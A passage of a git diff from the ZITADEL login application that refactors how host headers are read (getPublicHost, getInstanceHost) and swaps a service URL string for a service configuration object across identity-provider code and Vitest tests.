+          if (key === "x-zitadel-instance-host") return "customer.zitadel.cloud";
+          if (key === "x-forwarded-host") return "accounts.company.com";
+          if (key === "host") return "internal.vercel.app";
+          return null;
+        }),
+      } as any;
+
+      const result = getInstanceHost(mockHeaders);
+      expect(result).toBe("customer.zitadel.cloud");
+    });
   });
 
   describe("Edge cases", () => {
-    test("should handle IPv4 addresses", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle IPv4 addresses", () => {
       const mockHeaders = {
         get: vi.fn(() => "192.168.1.100:3000"),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("https://192.168.1.100:3000");
     });
 
-    test("should handle IPv6 addresses", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle IPv6 addresses", () => {
       const mockHeaders = {
         get: vi.fn(() => "[::1]:3000"),
-      };
+      } as any;
 
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("https://[::1]:3000");
     });
 
-    test("should handle hosts with ports", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle hosts with ports", () => {
       const mockHeaders = {
         get: vi.fn(() => "zitadel.com:8080"),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("https://zitadel.com:8080");
     });
 
-    test("should handle localhost with different ports", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle localhost with different ports", () => {
       const mockHeaders = {
         get: vi.fn(() => "localhost:8080"),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("http://localhost:8080");
     });
+  });
+
+  describe("getPublicHost", () => {
+    test("should use x-zitadel-public-host when available", () => {
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-public-host") return "public.zitadel.cloud";
+          if (key === "x-forwarded-host") return "accounts.company.com";
+          return null;
+        }),
+      } as any;
+
+      const result = getPublicHost(mockHeaders);
+      expect(result).toBe("public.zitadel.cloud");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-public-host");
+    });
 
-    test("should handle priority order correctly", async () => {
-      const { headers } = await import("next/headers");
+    test("should use x-zitadel-forward-host when x-zitadel-public-host is not available", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
-          // All headers are present, should return x-forwarded-host (highest priority)
-          if (key === "x-forwarded-host") return "priority1.com";
-          if (key === "x-original-host") return "priority2.com";
-          if (key === "host") return "priority3.com";
+          if (key === "x-zitadel-public-host") return null;
+          if (key === "x-zitadel-forward-host") return "forward.zitadel.cloud";
+          if (key === "x-forwarded-host") return "accounts.company.com";
           return null;
         }),
-      };
+      } as any;
+
+      const result = getPublicHost(mockHeaders);
+      expect(result).toBe("forward.zitadel.cloud");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-public-host");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-forward-host");
+    });
+
+    test("should use x-forwarded-host when neither x-zitadel-public-host nor x-zitadel-forward-host is available", () => {
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-public-host") return null;
+          if (key === "x-zitadel-forward-host") return null;
+          if (key === "x-forwarded-host") return "accounts.company.com";
+          if (key === "host") return "internal.server";
+          return null;
+        }),
+      } as any;
+
+      const result = getPublicHost(mockHeaders);
+      expect(result).toBe("accounts.company.com");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-public-host");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-forward-host");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-forwarded-host");
+    });
 
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+    test("should fall back to host when x-forwarded-host is not available", () => {
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-public-host") return null;
+          if (key === "x-zitadel-forward-host") return null;
+          if (key === "x-forwarded-host") return null;
+          if (key === "host") return "localhost:3000";
+          return null;
+        }),
+      } as any;
 
-      const result = await getOriginalHost();
-      expect(result).toBe("priority1.com");
-      // Should only call x-forwarded-host since it's available
+      const result = getPublicHost(mockHeaders);
+      expect(result).toBe("localhost:3000");
       expect(mockHeaders.get).toHaveBeenCalledWith("x-forwarded-host");
-      expect(mockHeaders.get).toHaveBeenCalledTimes(1);
+      expect(mockHeaders.get).toHaveBeenCalledWith("host");
+    });
+
+    test("should throw error when no host is found", () => {
+      const mockHeaders = {
+        get: vi.fn(() => null),
+      } as any;
+
+      expect(() => getPublicHost(mockHeaders)).toThrow("No host found in headers");
+    });
+
+    test("should differ from getInstanceHost when x-zitadel-instance-host is present", () => {
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-instance-host") return "instance.zitadel.cloud";
+          if (key === "x-forwarded-host") return "accounts.company.com";
+          if (key === "host") return "internal.server";
+          return null;
+        }),
+      } as any;
+
+      const instanceHost = getInstanceHost(mockHeaders);
+      const publicHost = getPublicHost(mockHeaders);
+
+      expect(instanceHost).toBe("instance.zitadel.cloud");
+      expect(publicHost).toBe("accounts.company.com");
+      expect(instanceHost).not.toBe(publicHost);
     });
   });
 });
diff --git a/apps/login/src/lib/server/host.ts b/apps/login/src/lib/server/host.ts
index 9d2d57b8a98..6c44f8feed1 100644
--- a/apps/login/src/lib/server/host.ts
+++ b/apps/login/src/lib/server/host.ts
@@ -1,48 +1,48 @@
-import { headers } from "next/headers";
+import { ReadonlyHeaders } from "next/dist/server/web/spec-extension/adapters/headers";
 
 /**
  * Gets the original host that the user sees in their browser URL.
  * When using rewrites this function prioritizes forwarded headers that preserve the original host.
  *
- * ⚠️ SERVER-SIDE ONLY: This function can only be used in:
- * - Server Actions (functions with "use server")
- * - Server Components (React components that run on the server)
- * - Route Handlers (API routes)
- * - Middleware
- *
  * @returns The host string (e.g., "zitadel.com")
  * @throws Error if no host is found
  */
-export async function getOriginalHost(): Promise<string> {
-  const _headers = await headers();
-
-  // Priority order:
-  // 1. x-forwarded-host - Set by proxies/CDNs with the original host
-  // 2. x-original-host - Alternative header sometimes used
-  // 3. host - Fallback to the current host header
-  const host = _headers.get("x-forwarded-host") || _headers.get("x-original-host") || _headers.get("host");
-
-  if (!host || typeof host !== "string") {
-    throw new Error("No host found in headers");
-  }
+export function getInstanceHost(headers: ReadonlyHeaders): string | null {
+  // use standard proxy headers (x-forwarded-host → host) for both multi-tenant and self-hosted, do not use x-zitadel-instance-host
+  const instanceHost = headers.get("x-zitadel-instance-host") || headers.get("x-zitadel-forward-host");
 
-  return host;
+  return instanceHost;
 }
 
 /**
- * Gets the original host with protocol prefix.
- * Automatically detects if localhost should use http:// or https://
+ * Gets the public host that the user sees in their browser URL.
+ * Only considers standard proxy headers (x-forwarded-host and host).
+ * Does NOT include x-zitadel-instance-host.
  *
- * ⚠️ SERVER-SIDE ONLY: This function can only be used in:
- * - Server Actions (functions with "use server")
- * - Server Components (React components that run on the server)
- * - Route Handlers (API routes)
- * - Middleware
+ * Use this when you need the public-facing host that the user actually sees,
+ * not the internal instance host used for API routing.
  *
- * @returns The full URL prefix (e.g., "https://zitadel.com")
+ * @returns The public host string (e.g., "accounts.company.com")
+ * @throws Error if no host is found
  */
-export async function getOriginalHostWithProtocol(): Promise<string> {
-  const host = await getOriginalHost();
+export function getPublicHost(headers: ReadonlyHeaders): string {
+  // Only use standard proxy headers (x-zitadel-public-host → x-zitadel-forward-host → x-forwarded-host → host)
+  // Do NOT use x-zitadel-instance-host as it may differ from what the user sees
+  const publicHost =
+    headers.get("x-zitadel-public-host") ||
+    headers.get("x-zitadel-forward-host") ||
+    headers.get("x-forwarded-host") ||
+    headers.get("host");
+
+  if (!publicHost || typeof publicHost !== "string") {
+    throw new Error("No host found in headers");
+  }
+
+  return publicHost;
+}
+
+export function getPublicHostWithProtocol(headers: ReadonlyHeaders): string {
+  const host = getPublicHost(headers);
   const protocol = host.includes("localhost") ? "http://" : "https://";
   return `${protocol}${host}`;
 }
diff --git a/apps/login/src/lib/server/idp-intent.test.ts b/apps/login/src/lib/server/idp-intent.test.ts
index fae6bd43281..d2ae229afc5 100644
--- a/apps/login/src/lib/server/idp-intent.test.ts
+++ b/apps/login/src/lib/server/idp-intent.test.ts
@@ -12,7 +12,7 @@ vi.mock("@zitadel/client", () => ({
 }));
 
 vi.mock("../service-url", () => ({
-  getServiceUrlFromHeaders: vi.fn(),
+  getServiceConfig: vi.fn(),
 }));
 
 vi.mock("../zitadel", () => ({
@@ -111,7 +111,7 @@ describe("processIDPCallback", () => {
 
     // Import mocked modules
     const { headers } = await import("next/headers");
-    const { getServiceUrlFromHeaders } = await import("../service-url");
+    const { getServiceConfig } = await import("../service-url");
     const {
       retrieveIDPIntent,
       getIDPByID,
@@ -129,7 +129,7 @@ describe("processIDPCallback", () => {
 
     // Setup mocks
     mockHeaders = vi.mocked(headers);
-    mockGetServiceUrlFromHeaders = vi.mocked(getServiceUrlFromHeaders);
+    mockGetServiceUrlFromHeaders = vi.mocked(getServiceConfig);
     mockRetrieveIDPIntent = vi.mocked(retrieveIDPIntent);
     mockGetIDPByID = vi.mocked(getIDPByID);
     mockUpdateHuman = vi.mocked(updateHuman);
@@ -146,7 +146,7 @@ describe("processIDPCallback", () => {
     // Default mock implementations
     mockHeaders.mockResolvedValue({} as any);
     mockGetServiceUrlFromHeaders.mockReturnValue({
-      serviceUrl: "https://api.example.com",
+      serviceConfig: { baseUrl: "https://api.example.com" },
     });
     mockRetrieveIDPIntent.mockResolvedValue(defaultIntent);
     mockGetIDPByID.mockResolvedValue(defaultIdp);
@@ -257,7 +257,7 @@ describe("processIDPCallback", () => {
       const result = await processIDPCallback(defaultParams);
 
       expect(mockRetrieveIDPIntent).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         id: "intent123",
         token: "token123",
       });
@@ -287,7 +287,7 @@ describe("processIDPCallback", () => {
       await processIDPCallback(defaultParams);
 
       expect(mockUpdateHuman).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         request: expect.objectContaining({
           userId: "user123",
           profile: defaultIntent.updateHumanUser.profile,
@@ -353,7 +353,7 @@ describe("processIDPCallback", () => {
       const result = await processIDPCallback(linkParams);
 
       expect(mockAddIDPLink).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         idp: {
           id: "idp123",
           userId: "user123",
@@ -442,12 +442,12 @@ describe("processIDPCallback", () => {
       const result = await processIDPCallback(defaultParams);
 
       expect(mockListUsers).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         email: "test@example.com",
         organizationId: "org123",
       });
       expect(mockAddIDPLink).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         idp: {
           id: "idp123",
           userId: "user123",
@@ -523,7 +523,7 @@ describe("processIDPCallback", () => {
       const result = await processIDPCallback(defaultParams);
 
       expect(mockListUsers).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userName: "testuser",
         organizationId: "org123",
       });
@@ -557,7 +557,7 @@ describe("processIDPCallback", () => {
       const result = await processIDPCallback(defaultParams);
 
       expect(mockAddHuman).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         request: expect.objectContaining({
           username: "testuser",
           profile: defaultIntent.addHumanUser.profile,
@@ -602,11 +602,11 @@ describe("processIDPCallback", () => {
       });
 
       expect(mockGetOrgsByDomain).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         domain: "example.com",
       });
       expect(mockAddHuman).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         request: expect.objectContaining({
           organization: expect.objectContaining({
             org: { case: "orgId", value: "org-from-domain" },
@@ -625,10 +625,10 @@ describe("processIDPCallback", () => {
       });
 
       expect(mockGetDefaultOrg).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
       });
       expect(mockAddHuman).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         request: expect.objectContaining({
           organization: expect.objectContaining({
             org: { case: "orgId", value: "default-org" },
@@ -901,14 +901,14 @@ describe("validateIDPLinkingPermissions", () => {
       });
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
 
       expect(result).toBe(false);
       expect(mockGetLoginSettings).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         organization: "org123",
       });
       expect(mockGetActiveIdentityProviders).not.toHaveBeenCalled();
@@ -918,7 +918,7 @@ describe("validateIDPLinkingPermissions", () => {
       mockGetLoginSettings.mockResolvedValue(undefined);
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
@@ -930,7 +930,7 @@ describe("validateIDPLinkingPermissions", () => {
       mockGetLoginSettings.mockResolvedValue({});
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
@@ -952,14 +952,14 @@ describe("validateIDPLinkingPermissions", () => {
       });
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
 
       expect(result).toBe(false);
       expect(mockGetActiveIdentityProviders).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         orgId: "org123",
         linking_allowed: true,
       });
@@ -974,7 +974,7 @@ describe("validateIDPLinkingPermissions", () => {
       });
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
@@ -989,7 +989,7 @@ describe("validateIDPLinkingPermissions", () => {
       mockGetActiveIdentityProviders.mockResolvedValue({});
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
@@ -1011,18 +1011,18 @@ describe("validateIDPLinkingPermissions", () => {
       });
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
 
       expect(result).toBe(true);
       expect(mockGetLoginSettings).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         organization: "org123",
       });
       expect(mockGetActiveIdentityProviders).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         orgId: "org123",
         linking_allowed: true,
       });
@@ -1042,7 +1042,7 @@ describe("validateIDPLinkingPermissions", () => {
       });
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
@@ -1057,7 +1057,7 @@ describe("validateIDPLinkingPermissions", () => {
 
       await expect(
         validateIDPLinkingPermissions({
-          serviceUrl: "https://api.example.com",
+          serviceConfig: { baseUrl: "https://api.example.com" },
           userOrganizationId: "org123",
           idpId: "idp123",
         }),
@@ -1072,7 +1072,7 @@ describe("validateIDPLinkingPermissions", () => {
 
       await expect(
         validateIDPLinkingPermissions({
-          serviceUrl: "https://api.example.com",
+          serviceConfig: { baseUrl: "https://api.example.com" },
           userOrganizationId: "org123",
           idpId: "idp123",
         }),
@@ -1088,7 +1088,7 @@ describe("validateIDPLinkingPermissions", () => {
       });
 
       const result = await validateIDPLinkingPermissions({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         userOrganizationId: "org123",
         idpId: "idp123",
       });
diff --git a/apps/login/src/lib/server/idp-intent.ts b/apps/login/src/lib/server/idp-intent.ts
index 02eb82d0a31..9ab3372caf7 100644
--- a/apps/login/src/lib/server/idp-intent.ts
+++ b/apps/login/src/lib/server/idp-intent.ts
@@ -1,6 +1,6 @@
 "use server";
 
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import {
   retrieveIDPIntent,
   getIDPByID,
@@ -13,6 +13,7 @@ import {
   getActiveIdentityProviders,
   getUserByID,
   getDefaultOrg,
+  ServiceConfig,
 } from "@/lib/zitadel";
 import { headers } from "next/headers";
 import { create } from "@zitadel/client";
@@ -31,11 +32,11 @@ const ORG_SUFFIX_REGEX = /(?<=@)(.+)/;
 async function resolveOrganizationForUser({
   organization,
   addHumanUser,
-  serviceUrl,
+  serviceConfig,
 }: {
   organization?: string;
   addHumanUser?: AddHumanUserRequest;
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
 }): Promise<string | undefined> {
   if (organization) return organization;
 
@@ -43,16 +44,12 @@ async function resolveOrganizationForUser({
     const matched = ORG_SUFFIX_REGEX.exec(addHumanUser.username);
     const suffix = matched?.[1] ?? "";
 
-    const orgs = await getOrgsByDomain({
-      serviceUrl,
-      domain: suffix,
+    const orgs = await getOrgsByDomain({ serviceConfig, domain: suffix,
     });
     const orgToCheckForDiscovery = orgs.result && orgs.result.length === 1 ? orgs.result[0].id : undefined;
 
     if (orgToCheckForDiscovery) {
-      const orgLoginSettings = await getLoginSettings({
-        serviceUrl,
-        organization: orgToCheckForDiscovery,
+      const orgLoginSettings = await getLoginSettings({ serviceConfig, organization: orgToCheckForDiscovery,
       });
       if (orgLoginSettings?.allowDomainDiscovery) {
         return orgToCheckForDiscovery;
@@ -61,7 +58,7 @@ async function resolveOrganizationForUser({
   }
 
   // Fallback to default organization if no org was resolved through discovery
-  const defaultOrg = await getDefaultOrg({ serviceUrl });
+  const defaultOrg = await getDefaultOrg({ serviceConfig });
   return defaultOrg?.id;
 }
 
@@ -72,19 +69,15 @@ async function resolveOrganizationForUser({
  * 2. The specific IDP is activated for the organization
  *
  */
-export async function validateIDPLinkingPermissions({
-  serviceUrl,
-  userOrganizationId,
+export async function validateIDPLinkingPermissions({ serviceConfig, userOrganizationId,
   idpId,
 }: {
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
   userOrganizationId: string;
   idpId: string;
 }): Promise<boolean> {
   // Check organization login settings
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: userOrganizationId,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: userOrganizationId,
   });
 
   if (!loginSettings?.allowExternalIdp) {
@@ -92,9 +85,7 @@ export async function validateIDPLinkingPermissions({
   }
 
   // Check if the IDP is activated for the organization and allows linking
-  const activeIDPs = await getActiveIdentityProviders({
-    serviceUrl,
-    orgId: userOrganizationId,
+  const activeIDPs = await getActiveIdentityProviders({ serviceConfig, orgId: userOrganizationId,
     linking_allowed: true,
   });
 
@@ -132,7 +123,7 @@ export async function processIDPCallback({
   postErrorRedirectUrl?: string;
 }): Promise<{ redirect?: string; error?: string }> {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const t = await getTranslations("idp");
 
@@ -155,9 +146,7 @@ export async function processIDPCallback({
     });
 
     // Consume the single-use token ONCE
-    const intent = await retrieveIDPIntent({
-      serviceUrl,
-      id,
+    const intent = await retrieveIDPIntent({ serviceConfig, id,
       token,
     });
 
@@ -171,9 +160,7 @@ export async function processIDPCallback({
     }
 
     // Get IDP configuration
-    const idp = await getIDPByID({
-      serviceUrl,
-      id: idpInformation.idpId,
+    const idp = await getIDPByID({ serviceConfig, id: idpInformation.idpId,
     });
 
     if (!idp) {
@@ -207,9 +194,7 @@ export async function processIDPCallback({
       // Auto-update user if enabled
       if (options?.isAutoUpdate && updateHumanUser) {
         try {
-          await updateHuman({
-            serviceUrl,
-            request: create(UpdateHumanUserRequestSchema, {
+          await updateHuman({ serviceConfig, request: create(UpdateHumanUserRequestSchema, {
               userId: userId,
               profile: updateHumanUser.profile,
               email: updateHumanUser.email,
@@ -259,7 +244,7 @@ export async function processIDPCallback({
 
       try {
         // Get user to retrieve their organization
-        const targetUser = await getUserByID({ serviceUrl, userId });
+        const targetUser = await getUserByID({ serviceConfig, userId });
 
         if (!targetUser || !targetUser.details?.resourceOwner) {
           console.error("[IDP Process] User not found or missing organization");
@@ -268,9 +253,7 @@ export async function processIDPCallback({
         }
 
         // Validate IDP linking permissions
-        const isAllowed = await validateIDPLinkingPermissions({
-          serviceUrl,
-          userOrganizationId: targetUser.details.resourceOwner,
+        const isAllowed = await validateIDPLinkingPermissions({ serviceConfig, userOrganizationId: targetUser.details.resourceOwner,
           idpId: idpInformation.idpId,
         });
 
@@ -280,9 +263,7 @@ export async function processIDPCallback({
           return { redirect: `/idp/${provider}/linking-failed?${params}&error=validation_failed` };
         }
 
-        await addIDPLink({
-          serviceUrl,
-          idp: {
+        await addIDPLink({ serviceConfig, idp: {
             id: idpInformation.idpId,
             userId: idpInformation.userId,
             userName: idpInformation.userName,
@@ -328,21 +309,17 @@ export async function processIDPCallback({
       const email = addHumanUser?.email?.email;
 
       if (options.autoLinking === AutoLinkingOption.EMAIL && email) {
-        foundUser = await listUsers({ serviceUrl, email, organizationId: organization }).then((response) => {
+        foundUser = await listUsers({ serviceConfig, email, organizationId: organization }).then((response) => {
           return response.result ? response.result[0] : null;
         });
       } else if (options.autoLinking === AutoLinkingOption.USERNAME) {
-        foundUser = await listUsers({
-          serviceUrl,
-          userName: idpInformation.userName,
+        foundUser = await listUsers({ serviceConfig, userName: idpInformation.userName,
           organizationId: organization,
         }).then((response) => {
           return response.result ? response.result[0] : null;
         });
       } else {
-        foundUser = await listUsers({
-          serviceUrl,
-          userName: idpInformation.userName,
+        foundUser = await listUsers({ serviceConfig, userName: idpInformation.userName,
           email,
           organizationId: organization,
         }).then((response) => {
@@ -359,9 +336,7 @@ export async function processIDPCallback({
           }
 
           // Validate IDP linking permissions
-          const isAllowed = await validateIDPLinkingPermissions({
-            serviceUrl,
-            userOrganizationId: foundUser.details.resourceOwner,
+          const isAllowed = await validateIDPLinkingPermissions({ serviceConfig, userOrganizationId: foundUser.details.resourceOwner,
             idpId: idpInformation.idpId,
           });
 
@@ -371,9 +346,7 @@ export async function processIDPCallback({
             return { redirect: `/idp/${provider}/linking-failed?${params}&error=validation_failed` };
           }
 
-          await addIDPLink({
-            serviceUrl,
-            idp: {
+          await addIDPLink({ serviceConfig, idp: {
               id: idpInformation.idpId,
               userId: idpInformation.userId,
               userName: idpInformation.userName,
@@ -419,7 +392,7 @@ export async function processIDPCallback({
       const orgToRegisterOn = await resolveOrganizationForUser({
         organization,
         addHumanUser,
-        serviceUrl,
+        serviceConfig,
       });
 
       if (!orgToRegisterOn) {
@@ -438,9 +411,7 @@ export async function processIDPCallback({
       });
 
       try {
-        const newUser = await addHuman({
-          serviceUrl,
-          request: addHumanUserWithOrganization,
+        const newUser = await addHuman({ serviceConfig, request: addHumanUserWithOrganization,
         });
         console.log("[IDP Process] User auto-created successfully, creating session");
 
@@ -480,7 +451,7 @@ export async function processIDPCallback({
       const orgToRegisterOn = await resolveOrganizationForUser({
         organization,
         addHumanUser,
-        serviceUrl,
+        serviceConfig,
       });
 
       if (!orgToRegisterOn) {
diff --git a/apps/login/src/lib/server/idp.test.ts b/apps/login/src/lib/server/idp.test.ts
index 68025988e66..693c828ab8f 100644
--- a/apps/login/src/lib/server/idp.test.ts
+++ b/apps/login/src/lib/server/idp.test.ts
@@ -13,11 +13,12 @@ vi.mock("next/navigation", () => ({
 }));
 
 vi.mock("../service-url", () => ({
-  getServiceUrlFromHeaders: vi.fn(),
+  getServiceConfig: vi.fn(),
 }));
 
 vi.mock("./host", () => ({
-  getOriginalHost: vi.fn(),
+  getInstanceHost: vi.fn(),
+  getPublicHost: vi.fn(),
 }));
 
 vi.mock("../zitadel", () => ({
@@ -27,7 +28,8 @@ vi.mock("../zitadel", () => ({
 describe("redirectToIdp", () => {
   let mockHeaders: any;
   let mockGetServiceUrlFromHeaders: any;
-  let mockGetOriginalHost: any;
+  let mockGetInstanceHost: any;
+  let mockGetPublicHost: any;
   let mockStartIdentityProviderFlow: any;
 
   beforeEach(async () => {
@@ -35,22 +37,24 @@ describe("redirectToIdp", () => {
 
     // Import mocked modules
     const { headers } = await import("next/headers");
-    const { getServiceUrlFromHeaders } = await import("../service-url");
-    const { getOriginalHost } = await import("./host");
+    const { getServiceConfig } = await import("../service-url");
+    const { getInstanceHost, getPublicHost } = await import("./host");
     const { startIdentityProviderFlow } = await import("../zitadel");
 
     // Setup mocks
     mockHeaders = vi.mocked(headers);
-    mockGetServiceUrlFromHeaders = vi.mocked(getServiceUrlFromHeaders);
-    mockGetOriginalHost = vi.mocked(getOriginalHost);
+    mockGetServiceUrlFromHeaders = vi.mocked(getServiceConfig);
+    mockGetInstanceHost = vi.mocked(getInstanceHost);
+    mockGetPublicHost = vi.mocked(getPublicHost);
     mockStartIdentityProviderFlow = vi.mocked(startIdentityProviderFlow);
 
     // Default mock implementations
     mockHeaders.mockResolvedValue({} as any);
     mockGetServiceUrlFromHeaders.mockReturnValue({
-      serviceUrl: "https://api.example.com",
+      serviceConfig: { baseUrl: "https://api.example.com" },
     });
-    mockGetOriginalHost.mockResolvedValue("example.com");
+    mockGetInstanceHost.mockReturnValue("example.com");
+    mockGetPublicHost.mockReturnValue("example.com");
   });
 
   afterEach(() => {
@@ -76,7 +80,7 @@ describe("redirectToIdp", () => {
       }
 
       expect(mockStartIdentityProviderFlow).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         idpId: "idp123",
         urls: {
           successUrl: expect.stringContaining("postErrorRedirectUrl=https%3A%2F%2Fapp.example.com%2Ferror"),
@@ -115,7 +119,7 @@ describe("redirectToIdp", () => {
       }
 
       expect(mockStartIdentityProviderFlow).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         idpId: "idp123",
         urls: {
           successUrl: expect.not.stringContaining("postErrorRedirectUrl"),
diff --git a/apps/login/src/lib/server/idp.ts b/apps/login/src/lib/server/idp.ts
index f38adcb3435..711522221e9 100644
--- a/apps/login/src/lib/server/idp.ts
+++ b/apps/login/src/lib/server/idp.ts
@@ -6,21 +6,22 @@ import {
   listAuthenticationMethodTypes,
   startIdentityProviderFlow,
   startLDAPIdentityProviderFlow,
+  ServiceConfig,
 } from "@/lib/zitadel";
 import { headers } from "next/headers";
 import { redirect } from "next/navigation";
 import { completeFlowOrGetUrl } from "../client";
-import { getServiceUrlFromHeaders } from "../service-url";
+import { getServiceConfig } from "../service-url";
 import { checkEmailVerification, checkMFAFactors } from "../verify-helper";
 import { createSessionForIdpAndUpdateCookie } from "./cookie";
-import { getOriginalHost } from "./host";
+import { getPublicHost } from "./host";
 
 export type RedirectToIdpState = { error?: string | null } | undefined;
 
 export async function redirectToIdp(prevState: RedirectToIdpState, formData: FormData): Promise<RedirectToIdpState> {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-  const host = await getOriginalHost();
+  const { serviceConfig } = getServiceConfig(_headers);
+  const host = getPublicHost(_headers);
 
   const params = new URLSearchParams();
 
@@ -43,7 +44,7 @@ export async function redirectToIdp(prevState: RedirectToIdpState, formData: For
   }
 
   const response = await startIDPFlow({
-    serviceUrl,
+    serviceConfig,
     host,
     idpId,
     successUrl: `/idp/${provider}/process?` + params.toString(),
@@ -62,7 +63,7 @@ export async function redirectToIdp(prevState: RedirectToIdpState, formData: For
 }
 
 export type StartIDPFlowCommand = {
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
   host: string;
   idpId: string;
   successUrl: string;
@@ -73,7 +74,7 @@ async function startIDPFlow(command: StartIDPFlowCommand) {
   const basePath = process.env.NEXT_PUBLIC_BASE_PATH ?? "";
 
   const url = await startIdentityProviderFlow({
-    serviceUrl: command.serviceUrl,
+    serviceConfig: command.serviceConfig,
     idpId: command.idpId,
     urls: {
       successUrl: `${command.host.includes("localhost") ? "http://" : "https://"}${command.host}${basePath}${command.successUrl}`,
@@ -103,25 +104,19 @@ export type CreateNewSessionCommand = {
 export async function createNewSessionFromIdpIntent(command: CreateNewSessionCommand) {
   const _headers = await headers();
 
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   if (!command.userId || !command.idpIntent) {
     throw new Error("No userId or loginName provided");
   }
 
-  const userResponse = await getUserByID({
